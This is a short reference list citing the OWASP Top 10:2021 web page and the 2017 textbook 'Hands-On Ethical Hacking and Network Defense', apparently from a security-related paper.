OWASP TOP10. (2021). OWASP Top 10:2021. https://owasp.org/Top10/

Simpson, M., & Antill, N. (2017). Hands-On Ethical Hacking and Network Defense (3rd ed.).